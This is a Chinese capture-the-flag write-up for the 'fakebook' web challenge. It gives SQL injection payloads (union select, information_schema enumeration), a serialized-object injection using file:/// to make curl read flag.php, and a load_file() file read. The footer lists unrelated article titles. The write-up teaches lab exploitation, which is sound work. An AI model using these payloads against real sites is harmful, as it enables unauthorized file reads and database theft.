当前位置: 首页 > news >正文

攻防世界—fakebook(两种方法)

一.审题

这边先进行测试,login和join都失败了,所以没获取到什么消息。

二.dirsearch工具扫描

所以拿dirsearch扫一下,看看有没有什么文件可以访问。

python3 dirsearch.py -u url

可以看到当前目录下存在flag.php,robots.txt等,访问flag.php,发现空白,所以flag应该是注释,接下去访问一下robots.txt

三.访问可疑文件

这边显示有一个不被允许的备份文件,访问看一下什么内容。

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

这边题目想给我们的是:同过url去传,并且对于blog有格式要求,需要在末尾拼接域名。

所以从这里我们就可以知道怎么去使用join的这个功能。

四.使用网站功能,寻找渗透点

查看源代码,发现有一个url可以点击跳转。所以我们继续浏览整个网站

发现有一个get方式的传参,参数为no,所以在次进行测试,方向:sql注入,伪协议,模板注入等

这边是sql注入。

五.采用sql注入

查看是否存在sql注入

1 and 1=1

正常显示。接下去确认有几行

1 order by 1
1 order by 2
1 order by 3
1 order by 4
1 order by 5
....

在order by 5时显示为错误,order by 4还是正常显示。

接下去看哪里有注入点

-1++union++select 1,2,3,4 

方法一:

发现在username下有个正常回显,所以注入点在这里

看数据库:

-1++union++select 1,database(),3,4

显示出数据库名:fakebook

接下去获取表Table:

?no=-1++union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

成功获取到表:users

接下去查column:

-1++union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'

接下去看一下data:

-1++union++select 1,group_concat(data),3,4 from fakebook.users

这边看到的是一个序列化的对象。我们这边是去提取数据库fakebook中表users的第四列data的值。

这边放一个对比,第一个图是单纯数据库有的数据,第三个是我们通过反序列化去进行拼接,username显示2是因为我们的占位符,显示这边有渗透点,然后第二个是四列都去使用占位符,所以我们这边就可以使用反序列化进行,让其去读取我们想要的文件

-1++union++select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

通过查看页面的源代码可以获取到flag:

这边在放两个对比,第一个是通过我们数据库里我们自己join的序列化值去显示的,因为我们join的都是不存在的所以我们这边都是空,并且这边是使用base64进行编码的。

这边讲一下,为什么第四列的渗透为什么会使用这个file:///协议,这边是通过他的哪个bak文件中,代码中使用的是curl

方法二:

因为我们在进行测试时就确定第二列具有注入点,所以我们可以利用这个去看我们的sql版本以及一些信息。如:version(),user(),database()等

如这边发现他的权限是root权限,所以我们可以使用load_file()这个数据库函数

load_file() 是 MySQL/MariaDB 中用于读取服务器本地文件的内置函数,在 SQL 注入场景中常用于获取敏感文件内容。

user()这是 MySQL/MariaDB 的内置函数,用于返回当前数据库连接的用户信息(格式通常为 用户名@主机名,如 root@localhost)。这里用它替换了第二列的占位符,目的是获取数据库用户权限信息。

所以这边就通过得到他的版本为MariaDB并且权限为root最高权限,所以可以通过load_file()函数获取该flag.php

-1++union++select 1,load_file('/var/www/html/flag.php'),3,4

看一下源代码,出结果。

这道题目,我是看了wp的,在加上自己的总结,从这边还是学到不少东西,而且感觉这题就是每一步的设计都是很巧妙,环环相扣的感觉

http://www.dtcms.com/a/333486.html

相关文章:

  • docker重启或系统重启后harbor自动启动
  • 深入理解C++正则表达式:从基础到实践
  • ReasonRank:从关键词匹配到逻辑推理,排序准确性大幅超越传统方法
  • Apifox接口测试工具
  • Unity输入系统:旧版Input_System
  • 第四章:大模型(LLM)】06.langchain原理-(3)langchain 数据连接方法
  • kubernetes(4) 微服务
  • 前往中世纪 送修改器(Going Medieval)免安装中文版
  • AI大模型配置项
  • 【mysql数据库全部重点知识】
  • 企业级时序数据库选型指南:从传统架构向智能时序数据管理的转型之路
  • 昆仑万维重磅发布Mureka V7.5与MoE-TTS,AI音乐与语音合成再升级!
  • 嵌入式学习 day52 IMX6ULL裸机开发-I2C
  • 基于Spring Boot的智能民宿预订与游玩系统设计与实现 民宿管理系统 民宿预订系统 民宿订房系统
  • 蓝桥杯 二叉树
  • [ CSS 前端 ] 网页内容的修饰
  • linux下找到指定目录下最新日期log文件
  • liteflow
  • CSS从入门到精通完整指南
  • 【学习笔记】Java并发编程的艺术——第8章 Java中的并发工具类
  • Python工具箱系列(六十二)
  • 写作在学习中的重要性
  • 【完整源码+数据集+部署教程】脑部健康状态检测系统源码和数据集:改进yolo11-AIFI
  • 力扣top100(day04-05)--堆
  • **标题:发散创新之力,探索隐私计算的未来**隐私计算,作为当下数字化时代的热门话题,正受
  • MCP简单入门及简单操作案例(高德地图调用实现酒店查询天气查询等[Lima]示范)
  • 在执行部署脚本后,通过 ls -la 命令查看远程服务器文件时,显示的文件所有者是 games 而不是预期的 root 用户
  • 二、DOCKER常用命令
  • 最长递增子序列-dp问题+二分优化
  • Vue 侦听器(watch 与 watchEffect)全解析1